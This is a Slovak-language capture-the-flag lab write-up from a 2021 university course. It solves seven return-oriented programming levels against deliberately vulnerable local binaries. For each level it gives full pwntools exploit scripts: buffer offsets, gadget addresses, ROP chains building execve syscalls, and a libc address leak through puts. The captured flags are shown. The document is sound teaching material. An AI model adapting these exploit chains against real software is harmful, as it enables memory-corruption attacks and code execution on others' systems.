Blok 4: ROP

Názov tímu: 42

Členovia: Nicolas Macák

Veronika Szabóová

Petra Kirschová

Prvým krokom bolo vždy zistiť offset pre buffer. Toto sme zisťovali v každej úlohe rovnakým spôsobom – pomocou cyklického patternu:

```
In [1]: from pwn import *

In [2]: p = gdb.debug("/rop_level_1")
[x] Starting local process '/usr/bin/gdbserver'
[+] Starting local process '/usr/bin/gdbserver': pid 914
[*] running in new terminal: /usr/bin/gdb -q  "/rop_level_1" -x /tmp/pwnl91xmitg.gdb

In [3]: p.send(cyclic(200,n=8))

In [4]: cyclic_find(0x6161616161616166,n=8)
Out[4]: 40

In [5]:
[ BACKTRACE ]
► f 0           40135c main+242
  f 1 6161616161616166
  f 2 6161616161616167
  f 3 6161616161616168
  f 4 6161616161616169
  f 5 616161616161616a
  f 6 616161616161616b
  f 7 616161616161616c

pwndbg> x/gx $rsp
0x7ffe413adb58: 0x6161616161616166
```

Level 1

Na to, aby funkcia win vypísala flag, potrebuje 2 argumenty v registroch RDI a RSI. Pre tieto registre sme našli gadgety:

```
0x004013c3: pop rdi ; ret  ;  \x5f\xc3 (1 found)
0x004013c1: pop rsi ; pop r15 ; ret  ;  \x5e\x41\x5f\xc3 (1 found)
```

Najprv sme vyplnili buffer reťazcom dĺžky 40 (offset), potom sme pomocou gadgetov naplnili registre a na koniec ROP chainu sme pridali adresu win funkcie.

```python
from pwn import *
p = process("/rop_level_1")

pop_rdi = 0x4013c3
pop_rsi_r15 = 0x4013c1
win = 0x4011f6

payload = b"A"*40                                       # offset = 40
payload += p64(pop_rdi) + p64(0x2a)                     # naplnenie RDI
payload += p64(pop_rsi_r15) + p64(0x539) + p64(0x0)     # naplnenie RSI a R15
payload += p64(win)                                     # zavolanie win

p.send(payload)
print(p.clean())
```

```
ctf@e45202d8d056:~$ python level1.py
[+] Starting local process '/rop_level_1': pid 19
b"########################################a##\n### BISzPP 2021\n### Vitajte v ulohe /rop_level_1!\n######
##################################\n\nCielom uloh je naucit sa 'Navratovo Orientovane Programovanie', p
omocou ktoreho vieme vytvarat shellcode uz z existujucich casti programu.\nV tejto ulohe mame 'win' fun
kciu (nikde sa vsak nevola samozrejme), do ktorej vstupuje viacero parametrov pre korektne vypisanie fl
agu.\nUlohu by sme vedeli vyriesit aj podobne ako v predchadzajucom bloku a to skokom az za podmienky.
Tu si vsak mozete otestovat ROP skill.\n\n[*] Nacitavam payload: \n[*] EPIC WIN! Nech sa paci, flag: \n
bispp_flag{nNHWOY-NvcMXl-FySeSQ-hoH4jC-0eDv3r}"
```

Level 2

V tejto úlohe bola win funkcia rozdelená na 2 časti. Stačilo vyplniť buffer pomocou nájdeného offsetu = 120 a následne zreťaziť volanie obidvoch funkcií. Ich adresy sme vyčítali z binary ninja.

```
from pwn import *
p = process("/rop_level_2")

offset = 120        # offset = 120
win1 = 0x4011f6     # adresa 1. casti win
win2 = 0x40122e     # adresa 2. casti win

payload = b"A"*offset + p64(win1) + p64(win2)

p.send(payload)
print(p.clean())
```

```
ctf@8efe9ed6f6ca:~$ python level2.py
[+] Starting local process '/rop_level_2': pid 20
b"########################################a##\n### BISzPP 2021\n### Vitajte v ulohe /rop_level_2!\n######
##################################\n\nCielom uloh je naucit sa 'Navratovo Orientovane Programovanie', p
omocou ktoreho vieme vytvarat shellcode uz z existujucich casti programu.\nV tejto ulohe mame 'win' fun
kciu (nikde sa vsak nevola samozrejme), ktora je rozdelena na viac casti.\n\n[*] Nacitavam payload: \n
*] Volam winning stage 1!\n[*] Volam winning stage 2!\nbispp_flag{sH24jw-UGUQPR-8QniQ3-virwjR-D7gzu4}"
```

Level 3

Win bola rozdelená na 5 častí a navyše sa v každej funkcii porovnával vstupný argument. Preto bolo potrebné okrem zreťazeného volania funkcií naplniť aj register RDI správnou hodnotou:

```
win_stage_1:
if (arg1 != 1)
```

```
win_stage_2:
if (arg1 != 2)
```

```
win_stage_3:
if (arg1 != 3)
```

```
win_stage_4:
if (arg1 != 4)
```

```
win_stage_5:
if (arg1 != 5)
```

Na naplnenie RDI sme našli gadget:

```
0x004015a3: pop rdi ; ret  ;  \x5f\xc3 (1 found)
```

Výsledný ROP chain obsahuje reťazec s offsetom a potom sa 5 krát opakovalo naplnenie RDI a zavolanie časti funkcie win.

```
from pwn import *
p = process("/rop_level_3")

pop_rdi = 0x4015a3

payload = b"A"*232                                  # offset = 232
payload += p64(pop_rdi)+p64(0x1)+p64(0x401216)      # naplnenie RDI=1 a zavolanie 1. casti win
payload += p64(pop_rdi)+p64(0x2)+p64(0x401285)      # naplnenie RDI=2 a zavolanie 2. casti win
payload += p64(pop_rdi)+p64(0x3)+p64(0x4012f4)      # naplnenie RDI=3 a zavolanie 3. casti win
payload += p64(pop_rdi)+p64(0x4)+p64(0x401363)      # naplnenie RDI=4 a zavolanie 4. casti win
payload += p64(pop_rdi)+p64(0x5)+p64(0x4013d2)      # naplnenie RDI=5 a zavolanie 5. casti win

p.send(payload)
print(p.clean())
```

```
ctf@a25a8aaa04ee:~$ python level3.py
[+] Starting local process '/rop_level_3': pid 17
b"########################################a##\n### BISzPP 2021\n### Vitajte v ulohe /rop_level_3!\n######
##################################\n\nCielom uloh je naucit sa 'Navratovo Orientovane Programovanie', p
omocou ktoreho vieme vytvarat shellcode uz z existujucich casti programu.\nV tejto ulohe mame 'win' fun
kciu (nikde sa vsak nevola samozrejme), ktora je rozdelena na viac casti.\n\n[*] Nacitavam payload: \nb
ispp_flag{kVMyMr-kb9LWD-0qFosM-Tu7bm8-3H22KM}"
```

Level 4 a Level 5

V obidvoch úlohách nebola funkcia win, ale súbor flag sme museli otvoriť a prečítať pomocou ROP chainu. Pri L4 a L5 sme postupovali rovnako.

1. Napísali sme C-čkový program, ktorý otvorí flag a vypíše jeho obsah na obrazovku:

```c
#include <stdio.h>

int main() {
   FILE *fp;
   char buff[255];
   fp = fopen("/flag", "r");
   fscanf(fp, "%s", buff);
   printf("1 : %s\n", buff );
   fclose(fp);
   return 0;
}
```

2. tento program sme skompilovali pod názvom ***puts***, pretože tento string sa už nachádza v binárke a nemuseli sme v ROP chaine názov súboru nikde ukladať.

```
00000000004004c3 puts
```

3. ROP chain obsahoval *execve* volanie programu *puts.* Na vykonanie systémového volania sme potrebovali gadgety pre naplnenie registrov RAX, RDX, RSI, RDI a samotný syscall:

```
0x004011d5: pop rax ; ret  ;  \x58\xc3 (1 found)
0x004011cc: pop rdi ; ret  ;  \x5f\xc3 (2 found)
0x004011d0: pop rdx ; ret  ;  \x5a\xc3 (2 found)
0x00401341: pop rsi ; pop r15 ; ret  ;  \x5e\x41\x5f\xc3 (1 found)
0x004011ce: pop rsi ; ret  ;  \x5e\xc3 (1 found)
0x004011ca: syscall  ;  \x0f\x05 (1 found)
```

Pri vytváraní ROP chainu sme postupovali podľa assembly kódu pre *execve* a na základe toho sme zreťazili ROP gadgety. Kód pre Level 5 bol rovnaký, zhodovali sa aj adresy gadgetov. Jediným rozdielom bol offset, ktorý bol v leveli 5 = **264**.

```python
from pwn import *
p = process("/rop_level_4")

# gadgety
syscall = 0x4011ca
pop_rax = 0x4011d5
pop_rdx = 0x4011d0
pop_rsi = 0x4011ce
pop_rdi = 0x4011cc
file_ptr = 0x4004c3

payload = b"A"*72                       # offset = 72 (resp. 264 pre L5 )
payload += p64(pop_rax)+p64(0x3b)       # mov rax, 59
payload += p64(pop_rdi)+p64(file_ptr)   # lea rdi, [file_ptr]
payload += p64(pop_rsi)+p64(0x0)        # mov rsi,0
payload += p64(pop_rdx)+p64(0x0)        # mov rdx,0
payload += p64(syscall)                 # syscall

p.sendline(payload)
print(p.clean())
```

Level 4:

```
ctf@5fd41053d2ae:~$ python level4.py
[+] Starting local process '/rop_level_4': pid 27
[*] Process '/rop_level_4' stopped with exit code 0 (pid 27)
b"####################################a##\n### BISzPP 2021\n### Vitajte v ulohe /rop_level_4!\n######
##################################\n\nCielom uloh je naucit sa 'Navratovo Orientovane Programovanie', p
omocou ktoreho vieme vytvarat shellcode uz z existujucich casti programu.\nZial odteraz uz nebude ziadn
a 'win' funkcia, takze precitanie flagu bude treba riesit cez ROP chain :( Ako bonus vsak dostanete poc
iatocnu\nadresu buffra, do ktoreho sa nacitava vas payload. LEAK: 0x7fffb14cdba0\n\n[*] Nacitavam paylo
ad: \n1 : bispp_flag{52YH08-xmltbI-n8AAtT-NundRP-irSpbV}\n"
```

Level 5:

```
ctf@7aa5407bc59b:~$ vim level5.py
ctf@7aa5407bc59b:~$ python level5.py
[+] Starting local process '/rop_level_5': pid 26
[*] Process '/rop_level_5' stopped with exit code 0 (pid 26)
b"####################################a##\n### BISzPP 2021\n### Vitajte v ulohe /rop_level_5!\n######
##################################\n\nCielom uloh je naucit sa 'Navratovo Orientovane Programovanie', p
omocou ktoreho vieme vytvarat shellcode uz z existujucich casti programu.\nZial odteraz uz nebude ziadn
a 'win' funkcia, takze precitanie flagu bude treba riesit cez ROP chain :(\n\n[*] Nacitavam payload: \n
1 : bispp_flag{M1s4vb-zVhy5c-UqlFhd-PZJEz7-cqs55I}\n"
```

Level 6

Na čítanie flagu sme použili rovnaký C-čkový kód, ako v Leveli 4 a 5 s názvom **puts**. Tento kód sme spustili pomocou ROP chainu, v ktorom sme vytvorili *execve* syscall.

V binárke sa nachádzali gadgety iba pre naplnenie RDI a RSI. Na ostatné sme použili libc.

```
0x00401353: pop rdi ; ret  ;  \x5f\xc3 (1 found)
0x00401351: pop rsi ; pop r15 ; ret  ;  \x5e\x41\x5f\xc3 (1 found)
```

Program vypísal leaknutú adresu funkcie *system* v libc. V libc sme pomocou `readelf` našli offset tejto funkcie a pomocou toho sme vypočítali `libc_base = leak - offset`.

```
ctf@3ca7c8c252df:~$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep "system"
   236: 0000000000156a80   103 FUNC    GLOBAL DEFAULT   16 svcerr_systemerr@@GLIBC_2.2.5
   617: 0000000000055410    45 FUNC    GLOBAL DEFAULT   16 __libc_system@@GLIBC_PRIVATE
  1427: 0000000000055410    45 FUNC    WEAK   DEFAULT   16 system@@GLIBC_2.2.5
```

Potom sme v libc našli adresy gadgetov a k nim sme pripočítali `libc_base`.

```
0x0004a54f: pop rax ; ret  ;  \x40\x58\xc3 (19 found)
0x0011c371: pop rdx ; pop r12 ; ret  ;  \x5a\x41\x5c\xc3 (3 found)
0x0002584d: syscall  ;  \x0f\x05 (751 found)
```

```python
from pwn import *

p = process("/rop_level_6")
p.readuntil("BONUS: ")
addr = p.readuntil("\n\n")[:-2]

# libc base
system_leak = int(addr,16)
system_offset = 0x55410
libc_base = system_leak - system_offset

# libc gadgety
syscall = 0x2584d + libc_base
pop_rax = 0x4a54f + libc_base
pop_rdx_r12 = 0x11c371 + libc_base

# /rop_level_6 gadgety
pop_rsi_r15 = 0x401351
```

```
pop_rdi = 0x401353
file_ptr = 0x4004fb

payload = b"A"*104                                  # offset = 104
payload += p64(pop_rax)+p64(0x3b)                   # mov rax, 59
payload += p64(pop_rdi)+p64(file_ptr)               # lea rdi, [file_ptr]
payload += p64(pop_rsi_r15)+p64(0x0)+p64(0x0)       # mov rsi,0
payload += p64(pop_rdx_r12)+p64(0x0)+p64(0x0)       # mov rdx,0
payload += p64(syscall)                             # syscall

p.sendline(payload)
print(p.clean())
```

```
ctf@3ca7c8c252df:~$ python level6.py
[+] Starting local process '/rop_level_6': pid 1561
[*] Process '/rop_level_6' stopped with exit code 0 (pid 1561)
b'[*] Nacitavam payload: \n1 : bispp_flag{i9FjjE-sxkuA2-MdkpMI-ZTVpyn-m4o8aT}\n'
```

Level 7

Na čítanie flagu sme použili rovnaký C-čkový kód, ako v Leveli 4, 5 a 6 s názvom **puts**. Riešenie úlohy bolo rovnaké ako riešenie levelu 6 s tým že sme si museli sami leaknuť adresu nejakej funkcie z libc. Po vzore zo slajdov z cvičenia sme leakli adresu funkcie puts (nemá nič spoločné s názvom .c programu na prečítanie flagu).

```
from pwn import *

e = ELF('/rop_level_7')
puts_got = e.got['puts']
puts_plt = e.plt['puts']

p = process('/rop_level_7')
p.clean()

start = 0x4010d0
pop_rdi = 0x401303

p.sendline(b"A"*40                                  # offset = 40
        + p64(pop_rdi) + p64(puts_got)
        + p64(puts_plt)
        + p64(start)
)

leak = p.clean()

for i in range(len(leak)):          # precitame bajty kym sa nenarazime na \n
    if 10 == leak[i]:
        break;

leak = leak[0:i]

# libc
puts_leak = int.from_bytes(leak, 'little')
puts_offset = 0x875a0
libc_base = puts_leak - puts_offset

# gadgety
syscall = 0x2584d + libc_base
pop_rax = 0x4a54f + libc_base
pop_rdx_r12 = 0x11c371 + libc_base
pop_rsi_r15 = 0x401301
file_ptr = 0x4004c3
```

```python
payload = b"A"*40                                   # offset = 40
payload += p64(pop_rax)+p64(0x3b)                   # mov rax, 59
payload += p64(pop_rdi)+p64(file_ptr)               # lea rdi, [file_ptr]
payload += p64(pop_rsi_r15)+p64(0x0)+p64(0x0)       # mov rsi,0
payload += p64(pop_rdx_r12)+p64(0x0)+p64(0x0)       # mov rdx,0
payload += p64(syscall)                             # syscall

p.sendline(payload)
print(p.clean())
```

Ako výsledok sme dostali:

```
ctf@00405cd91e99:~$ python level7.py
[*] '/rop_level_7'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Starting local process '/rop_level_7': pid 27
[*] Process '/rop_level_7' stopped with exit code 0 (pid 27)
b'1 : bispp_flag{6fjnu2-BBTMzA-oPPCNw-GXYDLW-hvUD9O}\n'
```